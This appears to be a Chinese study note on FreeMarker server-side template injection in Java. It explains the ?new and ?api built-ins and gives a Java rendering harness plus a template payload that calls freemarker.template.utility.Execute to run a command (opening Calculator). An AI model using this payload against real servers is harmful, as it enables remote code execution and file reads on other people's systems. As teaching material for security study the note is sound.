第五周3

SSTI
java漏洞:
0x4:相关危险函数
1、new
创建任意实现了TemplateModel接口的Java对象,同时在使用new的时候,还能够执行没有实现该接口类的静态初始化块。

FreeMarker模板注入poc中常用的两个类:

freemarker.template.utility.JythonRuntime
freemarker.template.utility.Execute
这两个类都继承了TemplateModel接口。

2、API
value?api 提供对 value 的 API(通常是 Java API)的访问,例如

value?api.someJavaMethod()
value?api.someBeanProperty
可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。

但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

0x5:漏洞风险面POC及漏洞代码分析
exec_pcc.java
复制代码
package org.example;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class exec_pcc {
public static void main(String[] args) throws Exception{
//1.创建配置类
Configuration configuration = new Configuration(Configuration.getVersion());
//2.设置模板所在的目录
configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
//3.设置字符集
configuration.setDefaultEncoding("utf-8");
//4.加载模板
Template template = configuration.getTemplate("exec_poc1.ftl");
//5.创建数据模型
Map map=new HashMap();
map.put("name", "张三");
map.put("message", "欢迎来到我的博客!");
//6.创建Writer对象
Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html"));
//7.输出
template.process(map, out);
//8.关闭Writer对象
out.close();

复制代码
1、命令执行
1) freemarker.template.utility.Execute
复制代码
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}

<h3>
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
</h3>

</body>
</html>